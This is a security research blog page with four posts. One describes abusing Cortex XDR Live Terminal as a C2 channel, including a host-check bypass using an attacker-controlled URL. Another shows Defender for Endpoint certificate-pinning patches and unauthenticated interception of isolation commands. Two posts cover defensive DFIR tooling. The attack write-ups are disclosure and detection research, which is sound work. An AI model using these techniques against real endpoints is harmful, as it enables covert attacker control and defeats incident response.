InfoGuard Labs

Abusing Cortex XDR Live Terminal as a C2

Manuel Feifel — Tue, 24 Feb 2026 00:00:00 GMT

TL;DR

The Live Terminal feature of Cortex XDR can be abused by attackers as a pre-installed, EDR-trusted C2 channel. This "Living off the Land" technique offers many features:

✅ Command execution
✅ PowerShell execution
✅ Python execution
✅ Process explorer
✅ File explorer with upload and download capabilities
✅ GUI
✅ Evasion++: Commands can be executed without triggering detection/prevention rules (needs some tweaks not described in this post)
✅ No development effort
✅ Network traffic often excluded from TLS interception
✅ Direct C2-connections from all hosts by design
⚠️ Requires local administrator privileges to execute the payload from its native path
⚠️ Blocked without a bypass of default prevention rules

Introduction

EDR solutions are complex software with a large attack surface. We already analyzed different components for vulnerabilities in our series on attacking EDRs. This post now is a part of our research on the communication between the EDR agents and the cloud. The precondition is to analyse the network traffic which is described in the next section.

Research Setup: Analyzing network traffic

Analyzing the Cortex agent's main network traffic is straightforward. No certificate or CA pinning was observed. A feature called "certificate enforcement" exists, which uses its own trust store for certain connections, but this can be disabled in the configuration. The proxy can be configured using the system proxy settings.

On our test tenant, the server was [tenant].traps.paloaltonetworks.com. When a Live Terminal session is initiated, a WebSocket message is sent to the agent at the URL https://[tenant].traps.paloaltonetworks.com/operations/socket.

The download link for the Live Terminal payload appears to be ignored. It is a completely different version than the one that is actually executed. The command line instructs the agent how to execute the cortex-xdr-payload.exe:

With the proxy and TLS interception enabled, the connection to lrc-ch.paloaltonetworks.com raised a TLS error. Excluding this host from TLS interception allowed the connection to succeed, which means this connection probably does not use the system's certificate trust store.

Decompiling `cortex-xdr-payload.exe`

Examining the strings made it obvious that this was a packed Python executable created with PyInstaller. Using pyinstxtractor-ng, it was unpacked:

pyinstxtractor-ng cortex-xdr-payload.exe                                         
[+] Processing cortex-xdr-payload.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.12
[+] Length of package: 9798407 bytes
[+] Found 19 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pytz_zip_hook.pyc
[+] Possible entry point: hook_preload.pyc
[+] Possible entry point: pyi_rth_cryptography_openssl.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pywintypes.pyc
[+] Possible entry point: pyi_rth_pythoncom.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_setuptools.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: main.pyc
[+] Found 1366 files in PYZ archive
[+] Successfully extracted pyinstaller archive: cortex-xdr-payload.exe

You can now use a python decompiler on the pyc files within the extracted directory

The resulting .pyc files were then decompiled using pylingual. Most other decompilers could not process Python 3.12.

The decompiled code shows the file that defines the trusted CAs:

The file contains standard CAs and not just specific ones used by Palo Alto hosts. I added the Burp Suite CA certificate to this file after disabling the Cortex agent. Using a file lock prevents the agent from overwriting it again after enabling Cortex.

Analyzing Live Terminal Network Traffic

With this modification, I could intercept the network traffic to lrc-ch.paloaltonetworks.com:

The protocol is relatively simple and lacks command signing. This looked like a ready-made C2 for attackers, too. An attacker can specify their "C2" server and send commands via WebSockets.

Abusing Live Terminal as C2

Method 1: Cross-Tenant

Surprisingly, it was even possible to use the official Live Terminal GUI for this attack. For this method, the attacker needs their own Cortex tenant:

The attacker starts a Live Terminal session in their own tenant.
The WebSocket message containing the host and token (-port 443 -server lrc-ch.paloaltonetworks.com -token [REDACTED] -d) is generated. The attacker must intercept this initial message and prevent it from reaching the legitimate agent on their own machine.
These host and token arguments are then used to start the cortex-xdr-payload.exe on the victim's host.
The connection from the victim is then received in the attacker's tenant.

The screenshot shows the result of this attack. WinDev2104Eval is in the attacker's tenant, and windev11-* is the victim host:

Method 2: Creating a Custom Server

Alternatively, an attacker without a Cortex tenant could re-implement the server-side component of the WebSocket-based communication. Based on the captured traffic, this would not require significant development effort using LLM agents.

The Python code of cortex-xdr-payload.exe includes a check for the server host, but this can be bypassed in several ways. An intrusive example is editing the hosts file, but if you look closely at the code, there is a trivial logic flaw in how the URL is validated.

def run_lrc_payload(lrc_payload_config, logger):
    lrc_exit_code = (-1)
    if not lrc_payload_config.server.endswith('.paloaltonetworks.com'):
        logger.error(f'Server address {lrc_payload_config.server} is invalid')
        return lrc_exit_code

By default, the hosts file is used:

if os.environ.get('use_custom_dns_query', 'FALSE')!= 'TRUE':
        terminal_logger.info('No bypassing hosts file enforced.')

The code above, lrc_payload_config.server.endswith('.paloaltonetworks.com'):, does not check the hostname itself, but the entire URL.

attacker.com/asdf is blocked:

attacker.com/test.paloaltonetworks.com is accepted:

Therefore, you can connect it to your own server implementation simply by appending the required string to your URL path.

Prevention Rules

The only hurdle is that Cortex has default rules to block and detect when its own processes are started by a non-standard parent process:

Bypasses for these rules will not be published in this post.

Detection

Legitimately, cortex-xdr-payload.exe is started by cyserver.exe, the main user-mode component of the Cortex agent. Therefore, any other parent process for cortex-xdr-payload.exe should be considered suspicious (e.g., defenders can monitor Process Creation events for anomalous ParentProcess values). InfoGuard customers are already protected from this abuse since September 2025.

Disclosure Timeline

Date	Event
2025‑09‑30	We reported the abuse of `cortex-xdr-payload.exe` and the hosts bypass in `run_lrc_payload` to Palo Alto Networks.
2025‑10‑02	Palo Alto Networks acknowledged receipt.
2025‑10‑02	Palo Alto Networks had issues reproducing it because it saves the log in the current working directory, and they used one that requires local SYSTEM permissions. Therefore, they received a "permission denied" error.
2025‑10‑02	InfoGuard clarified that this is because of the log file path. When running as SYSTEM in this case, it still works.
2025‑10‑08	Palo Alto Networks triaged the report to the product team and assigned the internal tracking ID CPATR‑33170.
2026‑01‑09	InfoGuard asked about the current status.
2026‑01‑09	Palo Alto Networks responded: "Thanks for following up on other email and apologies for the late response on this. The product team mentioned that they were aware about this issue from more than a year ago and they have fixed it as part of content updates so 8.7-8.9 should be protected."

According to our analysis with 8.9.1 and new content updates, there is no fix for the abuse and host bypass described in this post. This was tested on 2026-02-23.

Conclusion

This research highlights the ongoing need for security vendors to invest more effort in securing their own products. EDR agents are deployed to catch attackers, but they can also be abused in different ways.

From a design perspective, there appear to be no inherent mitigations to prevent this abuse of the Cortex XDR Live Terminal feature. Abusing this feature grants an attacker a highly capable C2 channel that natively blends into enterprise network traffic. The primary mitigation should not be a reactive, rule-based detection (like parent-process checks), but rather a secure-by-design approach to the feature's architecture — such as implementing mutual authentication and cryptographic command signing.

CLRaptor: Hunting reflected assemblies with Velociraptor

Matthew Green — Mon, 01 Dec 2025 00:00:00 GMT

In many intrusions attackers are observed using .NET across the attack lifecycle: payload execution by PowerShell cradles or other "living-off-the-land" binaries; ASP.NET webshells; in-memory C2 agents or capability for specific objectives. A key component of this activity is reflection - the ability to load assemblies and execute code dynamically at runtime.

In this post, I’ll walk through:

A quick refresher on .NET and why reflection is such a popular technique.
Two Velociraptor capabilities I have built:
1. A reflected assembly hunting artifact that consumes CLR ETW and surfaces in-memory / reflection-loaded assemblies at scale.
2. An artifact to identify CLR processes and detect patched or downgraded instances to overcome visibility gaps.
How to dump reflected assemblies for analysis.

The goal is to give incident responders a practical way to hunt for suspicious .net processes and triage effectively when they find them.

Background: .NET and the CLR

At a high level, .NET is Microsoft’s managed application platform. Instead of compiling straight to machine code, languages like C# compile to an intermediate bytecode called Common Intermediate Language (CIL). At runtime, the Common Language Runtime (CLR) compiles CIL to native x86/x64 code. CLR manages memory, type safety and exceptions.

On disk, .NET programs still look like normal Windows executables or DLLs, but with extra structure for managed code: - They use the same basic Windows binary format as native code, but add a .NET (COR20) directory. - That directory points to the CLR and metadata headers, which describe: - Types and methods - Strings and user-defined literals - GUIDs and signatures - These metadata streams (#~, #Strings, #US, #GUID, #Blob) effectively bolt a rich type system onto a regular Windows binary.

The important part to take away is what is in charge once a .NET program runs. For native binaries, Windows directly loads code and libraries. For .NET, the CLR sits in the middle and decides how managed assemblies are loaded, bound, and executed. With its large standard library and ease of use, .NET is a very convenient development platform.

Background: Reflection

In .NET, reflection is the runtime feature that lets code discover and use types, methods, and load assemblies dynamically. Legitimate software uses it for plugins, dynamic loading, and tooling - but for attackers it is a defence evasion technique, similar to injection, but for managed code. They can load assemblies straight from bytes in memory, resolve method names on the fly, and execute payloads more discreetly.

The image below is an example of a recently observed exploit payload. It reflectively loads a publicly available memory shell and executes an msiexec command:

Some common reflection APIs include:

Assembly.Load(byte[]): Load a full .NET assembly directly from a byte array in memory.
Type.GetType(string): Resolve a type by name at runtime, even if it was never referenced statically.
MethodInfo.Invoke(Object, Object[]) : Execute a method dynamically without static calls or direct code references.

This combination of fileless loading, runtime name resolution, and dynamic execution gives malware authors stealth, flexibility, and helps them evade basic detections.

Capability 1: Windows.Detection.ReflectedAssemblies

This Velociraptor artifact collects all currently loaded .NET assemblies from a target process and mirrors ProcessHacker’s “.NET Assemblies” tab. It automatically filters out assemblies that exist on disk and highlights those marked Dynamic, which is a strong indicator of reflection-loaded, memory-only modules. The artifact uses the Microsoft-Windows-DotNETRuntimeRundown ETW provider and is best run initially with its default configuration.

Below is an example from a system running a Covenant agent. Covenant is noisy, loading an assembly per task, making it a great example to explore.

The output includes AppDomainName, ModuleID, FullyQualifiedName, and ModuleILPath. Memory-reflected assemblies will typically have only a name for their ModuleILPath and no flags. Hunting at scale, I have observed many legitimate reflected assemblies, including IIS/ASP.NET websites and custom applications. An easy win is to look for common attack tool names, null version information in the FullyQualifiedName, and random names typically generated by attack frameworks.

Compared with Process Hacker view:

For ambiguous assemblies, the usual workflow is to run the artifact once to identify suspicious ModuleIDs, then rerun it with a ModuleIDRegex filter to pull back detailed metadata on those targets. Running in this ModuleID mode changes the ETW keyword flags and can significantly increase the number of events returned, so a targeted approach is recommended.

In the screenshot below, the suspicious attack framework methods are easy to spot. I also look for methods that expose unexpected capabilities relevant to the host process.

Reflection-based detection like this is effective, but it relies on CLR ETW. If ETW is patched or disabled, those signals may disappear - which leads us to Capability 2.

Capability 2: Windows.System.IsClrProcess

IsClrProcess addresses the visibility gap by identifying CLR-based processes and detecting potential patching. The artifact finds any running process that imports mscoree.dll, then runs a brief ETW collection to check whether the process emits CLR events and whether we may be looking at a downgrade attack or an older runtime version.

In the screenshot below, we have detected a Covenant process with both ETW and AMSI patched. The artifact uses the Mem2Disk capability, which compares patchable dlls on disk with the version running in memory.

There are also other useful indicators that may impact CLR visibility. The screenshot below shows two suspicious PowerShell processes, BLUE has been downgraded with the -version 2.0 switch on the commandline and RED using environment variables. When hunting in the wild, older applications may legitimately load older CLR modules (visible in the FileVersion), but downgraded PowerShell will often have this field absent.

Dump reflected assemblies for analysis.

A common triage use case is extracting assemblies for review and to reverse engineer with other tools. First, dump the process using Windows.Memory.ProcessDump.

:::important{title="WinDBG is a great tool for dump file analysis."} @DebugPrivilege has shared a resource for those interested in learning useful workflow for investigations and debugging case studies using WinDBG. :::

We can compare the patched and unpatched collected processes to validate Mem2Disk hits observed in Windows.System.IsClrProcess.

db ntdll!NtTraceEvent: shows the hex view starting at ntdll!NtTraceEvent.
u ntdll!NtTraceEvent: asks WinDBG to disassemble the machine code at that address and display the corresponding instructions.

In the screenshot below, we can see a RET at the first instruction, which is a strong indicator that the function has been patched to immediately return and skip the real syscall.

For extracting assemblies, a reliable method is to list non-Microsoft modules, then use the referenced address to extract interesting assemblies for analysis.

!load mex: Loads the MEX extension to provide advanced .NET/CLR inspection commands.
!mods -3: Lists all loaded modules, filtered to third-party/unknown modules.
lmva <base address>: Display detailed metadata for specific module.
!savemodule <base> <path>: Dumps the in-memory assembly to chosen path.

Finally, we can analyse extracted assemblies with our tools of choice:

Manual extraction can be tedious - we recently observed a case with an exploited server with hundreds of payload assemblies in process memory! To make this easier, I built a simple tool to extract assemblies from a process dump file automatically and dedupe via hash: DotnetDumper.

In the screenshot below, I have extracted all assemblies from our Covenant process in a fraction of the time of manual analysis.

Summary

In this post I’ve shown how Velociraptor can be used to hunt reflected assemblies and extract suspicious assemblies for triage quickly and effectively. All the relevant artifacts are available on the Velociraptor Artifact Exchange and GitHub linked below. Please let me know if you find this useful and feel free to provide feedback via X, LinkedIn or GitHub.

Windows.Detection.ReflectedAssemblies
Windows.System.IsClrProcess
DotnetDumper

References:

Analyzing and Breaking Defender for Endpoint's Cloud Communication

Manuel Feifel — Fri, 10 Oct 2025 00:00:00 GMT

TL;DR

By patching Defender for Endpoint in memory to bypass certificate pinning, we intercepted its cloud traffic. We found that several backend endpoints don't validate authentication tokens, allowing a post-breach attacker with a machine's ID to hijack the command-and-control channel. This flaw affects endpoints handling incident response commands, enabling an attacker to intercept them remotely before the target host receives them. It is a pull-based protocol where the first request wins and receives the command. For example, an attacker can prevent host isolation while spoofing a "successful" response. They can also return fake data for Live Response commands or plant malicious files in investigation packages to directly target the security analysts responding to the incident.

All findings were reported to the Microsoft Security Response Center (MSRC) in July 2025. However, Microsoft has classified them as low severity and has not committed to a fix.

Introduction

EDR solutions are complex software with a large attack surface. A missing piece in our series on attacking EDRs (Part 1: Attack Surface and Intro to Driver Analysis, Part 2: Driver Analysis Results, Part 3: DoS of EDR agents, Part 4: Fuzzing Defender) is the communication between the agent and the cloud. This post is a part of this research. We will publish findings on other EDRs at a later time.

The only other public research I found on this topic is a post from FalconForce here. They analyzed the web communication by dumping the HTTP requests and responses from memory using a debugger. While this is a cumbersome setup for identifying vulnerabilities, they successfully found an authentication issue related to sending alert data (CVE-2022–23278).

Therefore, I decided to use Burp Suite as a proxy and bypass certificate pinning by patching the validation function in memory.

Analyzing network traffic

Analyzing Defender for Endpoint agent's network traffic requires some effort because it uses certificate pinning.

The proxy settings used by DFE can be configured via: netsh winhttp set proxy <proxy>:<port>

Afterwards, you will notice certificate errors in the proxy and the agent stops the communication.

In order to debug the MsSense.exe process which performs the communication, I used WinDBG as a kernel debugger (see Part 4: 3.1 Debugging Defender). Using a user-mode debugger would require bypassing the agent's self-protection features.

To my surprise, there is very little information, write-ups or FRIDA-scripts on how to bypass certificate pinning for native Windows libraries such as Wininet. Therefore, I spent some time reverse-engineering the TLS communication in MsSense and examining example certificate pinning implementations for Windows. I ultimately bypassed the check by patching the CRYPT32!CertVerifyCertificateChainPolicy function:

0: kd> a CRYPT32!CertVerifyCertificateChainPolicy
00007ffe`e1215d20 mov eax, 1
00007ffe`e1215d25 ret
00007ffe`e1215d26 
0: kd> u CRYPT32!CertVerifyCertificateChainPolicy
CRYPT32!CertVerifyCertificateChainPolicy:
00007ffe`e1215d20 b801000000      mov     eax,1
00007ffe`e1215d25 c3              ret
00007ffe`e1215d26 084989          or      byte ptr [rcx-77h],cl

Afterwards, the plain text communication can be analyzed:

However, I still observed intermittent certificate errors in the Burp logs. Using TCPView, I noticed that the process SenseIR.exe sometimes starts and opens network connections.

These connections can also be intercepted by patching the following functions:

1: kd> a SenseIR!web::http::client::details::winhttp_client::verify_certificate_chain
00007ff6`081404b0 mov eax, 1
00007ff6`081404b5 ret
00007ff6`081404b6 
1: kd> a SenseIR!web::http::client::details::winhttp_request_context::on_send_request_validate_cn
00007ff6`0813c6f0 mov eax, 0
00007ff6`0813c6f5 ret
00007ff6`0813c6f6

Now, all requests can be intercepted including the data upload to an Azure Blob:

:::important{title=" "} Interestingly, the CloudLR tokens were still valid three months later at the time of writing this blog post. :::

Findings

The following findings can be abused without being on the target host. It directly targets vulnerabilities in the the backend endpoints.

Intercept `Commands` (Authentication Bypass and Spoofing Data)

The agent regularly sends a request to https://[location-specific-host]/edr/commands/cnc. If a command is available from the backend, the server returns it in the response. These commands are for example: isolationcommand, forensicscollectioncommand, scancommand or incidentresponsecommand.

Empty response

Response command

:::important Although the requests sent by Defender contain an Authorization token and a Msadeviceticket, the backend completely ignores these values. :::

Therefore, an unauthenticated attacker who knows the machine-ID and tenant-ID can send valid requests to this URL. These values can be read by low-privileged users on the system. Once the backend sends the command in a response, it will not send it again to subsequent requests. The following two screenshots show the Burp proxy on the left side and an Intruder window on the right that continiously makes requests to /edr/commands/cnc. The Intruder request (first screenshot) obtained the response (second screenshot), so the legitimate request from Defender did not receive a response:

Intruder request

Intruder response

An attacker can then upload arbitrary fake data to the provided Azure Blob URI (sasuri in the screenshot). Some other commands such as isolationcommand can be returned with a request to https://[location-specific-host]/commands/status.

Example Attack: Prevent Isolation and Spoof Result

1. Intercept command: First, intercept the isolation command intended for the target host. The actual agent does not receive the command.

2. Spoof Response: Next, send a spoofed response with the status Already isolated to the corresponding command ID.

3. Isolation bypassed: The result is an unisolated device that is reported as 'isolated' in the Microsoft Defender Portal.

The serialization format is annoying, so the easiest approach is to capture a legitimate response using a proxy and then modify it. As of October 10, 2025, I noticed that requests to https://winatp-gw-weu3.microsoft.com/commands/cnc are being throttled by the server. This was not the case in July.

Intercept `Actions` (Authentication Bypass and Spoofing Data)

This vulnerability is very similar to the previous one (Intercept Commands). It involves a different set of "actions" (e.g., Live Response or Automated Investigation) sent via a different URL (/senseir/v1/actions/) and uses different, but still ignored, authentication tokens.

Same as above, the Intruder window on the right obtains a response which the actual target does not receive. The proxy window on the left also obtains an action but it's a different one that was returned to this request because the intruder requests were running slowly. Therefore, both obtained a response but the actual target only received one instead of many:

:::important Again, there is no effective authentication. An attacker can obtain a valid CloudLR token without authentication by using just the machine ID. :::

These actions are encoded using Microsoft Bond. To get an idea of their contents, I used a LLM to write a decoder that could decode the data as much as possible without additional metadata:

Afterwards, an attacker needs to send additional requests to obtain the Azure Blob URL and upload the fake data there:

:::important If an investigation package is requested, an attacker could place similarly named malicious files within the uploaded data. It is plausible that an analyst might open them without suspicion. :::

Unauthenticated IR-Exclusions

An unauthenticated user can obtain IR-exclusions by sending a request to the registration endpoint. These are not detection or prevention exclusions, but rather files and folders excluded from automated or manual IR actions. The organization ID required for this request can be read by any user from the registry.

General Agent Configuration

An unauthenticated request to https://[location-specific-host]/edr/commands/cnc returns an 8MB file of configuration data. While the data does not appear to be tenant-specific, it could provide useful information about detection rules and exclusions. It is unclear how exactly this data is used by the agent, but it contains various configurations:

This includes configurations such as RegistryMonitoringConfiguration, DriverReadWriteAccessProcessList, DriverReadOnlyOpenProcessList, ASR-data, and other information that could be valuable to an attacker.

:::note Depending on the cncBitmask, it returns different data :::

Enumeration done by DFE (InvestigationPackage)

If an investigation was previously triggered on a compromised host, the resulting data package might still be available on the filesystem, and it is readable by any user:

It contains various types of information that are valuable for an attacke (e.g. Autoruns, installed programs, network connections, ...) :

Conclusion

These findings were straightforward to identify once the web traffic was intercepted. This demonstrates that simple vulnerabilities can remain undiscovered for years in components that are difficult to analyze.

I disagree with MSRC's assessment that these findings do not warrant remediation. The ability for an unauthenticated network-based attacker to impede the incident response process post-breach should be addressed. Furthermore, the risk of security analysts being targeted with malicious files via investigation packages is significant. The agent uses three different types of authentication tokens, yet all of them are either ignored by the backend or obtainable without any real authentication.

Automation of VHDX Investigations

Yann Malherbe — Fri, 19 Sep 2025 00:00:00 GMT

Introduction

In large-scale environments using Virtual Desktop Infrastructure (VDI) platforms like Citrix, incident responders can find it challenging to identify the initial point of compromise. While some setups use non-persistent sessions with golden image restoration, many environments persist user data on remote file servers. Instead of storing profiles as standard folders, it is common to find them stored within Virtual Hard Disk (VHDX) files.
These VHDX files often contain valuable forensic artefacts such as NTUSER.DAT hives and application execution traces. Investigating them manually, however, becomes inefficient at scale, especially when dealing with thousands of user profiles.
This blog post introduces a method for automating forensic analysis of VHDX-based user profiles using Velociraptor, our preferred DFIR tool. The goal is to scale investigations efficiently and reliably without compromising forensic integrity.

VHDX

Virtual Hard Disk v2 (VHDX) is a file format representing a virtual hard disk drive, containing its own partition layout and file system. It is commonly used in VDI environments to store individual user data, such as the roaming profile and the NTUSER.DAT registry hive.
From a forensic perspective, VHDX files can hold high-value artefacts, such as evidence of application execution via UserAssist and persistence mechanisms through registry run keys, both typically found within the NTUSER.DAT hive.
It is common for VDI platforms to store the contents of C:\Users\<Username>\ within a dedicated VHDX file, effectively treating each user profile as a standalone virtual disk image.

The Velociraptor Way

Velociraptor is a modern, open-source DFIR (Digital Forensics and Incident Response) tool used by many organisations to hunt for threats, collect artefacts, and conduct scalable investigations across enterprise environments. The link below provides an introduction to the tool and details on building artefacts.
https://www.infoguard.ch/en/blog/csirt-optimisation-event-log-analysis-recording-dfir
While Velociraptor supports VHDX accessors that allow direct parsing of virtual disk images. This setup typically requires custom artefacts designed for specific use cases, such as parsing UserAssist or registry hives within a mounted VHDX file. Therefore, each forensic check would require a dedicated artefact capable of understanding the VHDX structure.
A more scalable approach is to reuse existing Velociraptor artefacts, such as Windows.Registry.UserAssist or Windows.Registry.NTUser, without modification. The purpose of this research was to enable that capability: to support native artefacts when analysing data stored in VHDX-based user profiles.
To achieve this, we leverage virtual Velociraptor clients, instances configured to remap their environment to a specific VHDX file, similar to how Velociraptor operates in deaddisk mode. In this blog post, we’ll refer to these as virtual Velociraptor clients.
The concept is simple: run a virtual client on the file server where VHDX profiles are stored, and remap its configuration to point to one or more VHDX images. Several technical steps are required to make this work reliably. Let’s explore them one by one.

Windows.Sys.Users

Many Velociraptor artefacts which target the user registry, such as Windows.Registry.UserAssist, access the NTUSER.DAT hive through the Windows.Registry.NTUser artefact. However, this artefact relies on Windows.Sys.Users to enumerate the list of user profiles present on the system.
By default, the Windows.Sys.Users artefact retrieves user information from the following registry key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\*

This works as expected on endpoint systems but fails on virtual Velociraptor clients, where this registry key relates to the one on the file server and not from the VHDX-based profiles. In such environments, since the key is from a system-based hive, it only reflects the local system users, not those stored in VHDX containers.
As a result, Velociraptor is unable to discover or parse the NTUSER.DAT hives located inside the VHDX files.
To overcome this, we explore two possible solutions:

Fake registry remapping: inject a synthetic ProfileList registry hive.
Artefact override: customise Windows.Sys.Users to support VHDX discovery logic.

Fake registry remapping
One approach to solving the user enumeration problem is to remap not only the file system to the VHDX image, but also the ProfileList registry key. By providing a custom registry hive that mimics this key, Velociraptor can be tricked into "seeing" the VHDX-hosted profiles as if they were locally present.
In the example below, we use PowerShell to:

Create temporary registry keys for each user.
Set their ProfileImagePath values to simulate the standard Windows user structure.
Export the registry hive to a .dat file.

# Define paths for the temporary hive and final file
$tempHivePath = "HKLM\Software\Velociraptor"
$binaryFilePath = "C:/Program Files/Velociraptor/Profile/ProfileList.dat"

# Add the users to the temp hive
reg.exe add "$($tempHivePath)\Brontosaurus" /v "ProfileImagePath" /t REG_EXPAND_SZ /d "C:\Users\Brontosaurus" /f 
reg.exe add "$($tempHivePath)\Stegosaurus" /v "ProfileImagePath" /t REG_EXPAND_SZ /d "C:\Users\Stegosaurus" /f
reg.exe add "$($tempHivePath)\Tyrannosaurus" /v "ProfileImagePath" /t REG_EXPAND_SZ /d "C:\Users\Tyrannosaurus" /f

# Export the temp hive
reg exe save $tempHivePath $binaryFilePath

# Cleanup the temp hive
reg.exe delete $tempHivePath /f

Next, we configure a YAML remapping to instruct Velociraptor to mount this exported hive in place of the original ProfileList key:

- type: mount
  description: 'Registry - HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList'
  from:
    accessor: raw_reg
    prefix: |
      {
        "Path": "/"
        "DelegateAccessor": "file"
        "DelegatePath": "C:/Program Files/Velociraptor/Profile/ProfileList.dat"
      }
      path_type: registry
  "on" :
    accessor: registry
    prefix: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList
    path_type: registry

With this setup, any call to Windows.Sys.Users will retrieve the synthetic entries we defined, allowing downstream artefacts (like Windows.Registry.NTUser) to function correctly. However, this approach has limitations. It involves manual steps that must be repeated whenever new users are added. Therefore, it is most suitable for small-scale, targeted investigations or proof-of-concept testing.

Artefact Override
A more robust and scalable solution is to override the default Windows.Sys.Users artefact. The customised version maintains compatibility with standard systems while adding logic to detect and enumerate VHDX-based profiles when operating in a virtual Velociraptor client context.
The core idea is to introduce a conditional check based on the Velociraptor client’s label. If the client is tagged with a specific label (e.g., remapped_profile), the artefact will scan for NTUSER.DAT files within C:\Users\*\ instead of relying on the traditional registry key.
The VQL override below illustrates this logic:

LET GetTimestamp(High, Low) = if(condition=High,
        then=timestamp(winfiletime=High * 4294967296 + Low))

// lookupSID() may not be available on deaddisk analysis
LET Standard = SELECT split(string=Key.OSPath.Basename, sep="-")[-1] as Uid,
   "" AS Gid,
   LookupSIDCache(SID=Key.OSPath.Basename || "") AS Name,
   Key.OSPath as Description,
   ProfileImagePath as Directory,
   Key.OSPath.Basename as UUID,
   Key.Mtime as Mtime,
   {
        SELECT Mtime
        FROM stat(filename=expand(path=ProfileImagePath))
    } AS HomedirMtime,
   dict(ProfileLoadTime=GetTimestamp(
           High=LocalProfileLoadTimeHigh, Low=LocalProfileLoadTimeLow),
        ProfileUnloadTime=GetTimestamp(
           High=LocalProfileUnloadTimeHigh, Low=LocalProfileUnloadTimeLow)
   ) AS Data
FROM read_reg_key(globs=remoteRegKey, accessor="registry")

// User list for remapped VHDX profiles emulating the Standard one
LET VHDXProfile = SELECT
      OSPath.Components[-2] AS Uid,
      OSPath.Dirname AS Directory,
      OSPath.Components[-2] AS UUID,
      OSPath.Components[-2] AS Name,
      "" AS Gid,
      Mtime,
      Mtime AS HomedirMtime,
      "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\" + OSPath.Components[-2] AS Description
    FROM glob(globs="C:/Users/*/NTUSER.DAT")

// Get the labels of the agent 
LET agent_config = SELECT labels FROM config

// Take the appropriate user list method
SELECT * FROM if(condition=agent_config.labels=~labelName, then=VHDXProfile, else=Standard)

Once the artefact override is written, it can be deployed at the server level using the following command:

/usr/local/bin/velociraptor —config /etc/velociraptor/server.config.yaml —definitions /etc/velociraptor/artifact_definitions frontend

With this configuration, the Velociraptor server will automatically distribute the custom artefact to clients. There’s no need to modify individual client configurations. Any virtual client launched with the appropriate label (e.g., remapped_profile) will use the VHDX logic seamlessly.
This is a better solution as it centralises logic, reduces operational overhead, and supports dynamic scaling, making it ideal for multi-user investigations.

Remapping Configuration

Once the user enumeration issue is resolved using the artefact override, the next step is to create a remapping configuration that links specific user profile paths (e.g. C:\Users\Brontomerus) to their corresponding VHDX files.
This remapping is crucial: it allows Velociraptor’s artefacts, which expect standard Windows paths, to transparently operate on data stored within VHDX containers.
Below is an example of a remapping configuration for the NTFS accessor, pointing C:\Users\Brontomerus to a specific VHDX file:

- type: mount
  description: 'NTFS - Brontomerus'
  from:
    accessor: raw_ntfs
    prefix: |
      {
        "DelegateAccessor": "offset",
        "Delegate": {
          "DelegateAccessor": "vhdx",
          "DelegatePath": "F:/VHDX/Profile_Brontomerus.VHDX",
          "Path":"/1048576"
        },
        "Path": "/Profile"
      }
  "on":
    accessor: ntfs
    prefix: '\\.\C:\Users\Brontomerus'
    path_type: ntfs

This remapping allows the virtual Velociraptor client to access the contents of the VHDX file as if it were the actual C:\Users\Brontomerus directory on disk. To ensure full compatibility with Velociraptor artefacts, similar remappings should be created for:

file accessor for standard file operations
auto accessor for hybrid path resolution
registry accessor for registry hive access

When these accessors are mapped properly, standard artefacts (like Windows.Registry.NTUser, Windows.Registry.UserAssist, etc.) will function as expected within the virtual client context.

Virtual Client Creation

With the remapping configuration in place, we can now launch a virtual Velociraptor client. This is a standalone Velociraptor process that operates like a deaddisk client, using the remapped paths to access the contents of a specific VHDX file as if it were a local user profile.
The following PowerShell command starts the virtual client using the appropriate configuration and remapping YAML file:

Start-Process -FilePath '.\Velociraptor.exe' -ArgumentList '—config client.config.yaml —config.client-writeback-windows="velociraptor_vhdx.writeback.yaml" —config.client-local-buffer-filename-windows="C:\Windows\Temp\velociraptor_vhdx_Buffer.bin" —remap "C:\Program Files\Velociraptor\velociraptor_vhdx_remapping.yaml" —config.client-labels=remapped_profile client' -WorkingDirectory 'C:\Program Files\Velociraptor' -WindowStyle Hidden

Once launched, the virtual client behaves like any standard Velociraptor endpoint, but its file system and registry access are redirected to the contents of the mounted VHDX. This enables seamless browsing of the virtual profile via the Virtual File System (VFS).

It also allows running existing artefacts or any other profile-level checks.

This virtual client is not persistent. If the system reboots or the client crashes, the process must be relaunched. Fortunately, this can be done using the same artefact described later in this post.

Let's Scale Up

With a single virtual client successfully analysing one user profile, the next logical step is to scale the approach. During real-world incidents, it is common to have multiple users to investigate. Investigating each profile manually is inefficient, so automation and parallelisation become essential.
However, running multiple virtual Velociraptor clients on the same host introduces performance considerations. In our tests, we evaluated three strategies for scaling up to 1,000 user profiles (each stored in a ~2 GB VHDX file).

All in One Remapping

This approach loads all VHDX files into a single remapping configuration, resulting in a YAML file about 2.6 MB in size. While ideally efficient, it caused instability; the virtual client crashed during execution of simple artefacts (e.g., Generic.Client.Info), probably due to too many VHDX files being open simultaneously, exceeding system limits.

One-to-One Clients

Here, we spun up one virtual Velociraptor client per user profile. This would work best as each profile has its own virtual client, which eases the logic. However, this resulted in excessive system resource usage and hundreds of active processes, which is not sustainable for large-scale investigations.

Batching: The Optimal Middle Ground

The most effective approach was to launch multiple virtual clients, each handling a batch of 40 profiles. This method balances load across processes and avoids overwhelming system resources.

With this configuration, we analysed the UserAssist of 1,000 VHDX files in under 30 seconds.

Use a batching strategy tuned to your environment (e.g. 20–50 profiles per client). The optimal batch size will depend on your hardware and the size of the VHDX files.

Artefacts

The artefacts have been divided into four main functions: the initial setup, the creation of the remapping configuration file, the virtual Velociraptor client runner, and the virtual Velociraptor client remover.
To streamline the investigation of VHDX-based user profiles, we developed a suite of Velociraptor artefacts to automate the entire process, from configuration to client execution and teardown. These artefacts fall into four primary categories:

Server setup: allow the whole setup to work
Configuration builder: generates remapping YAML files for virtual clients
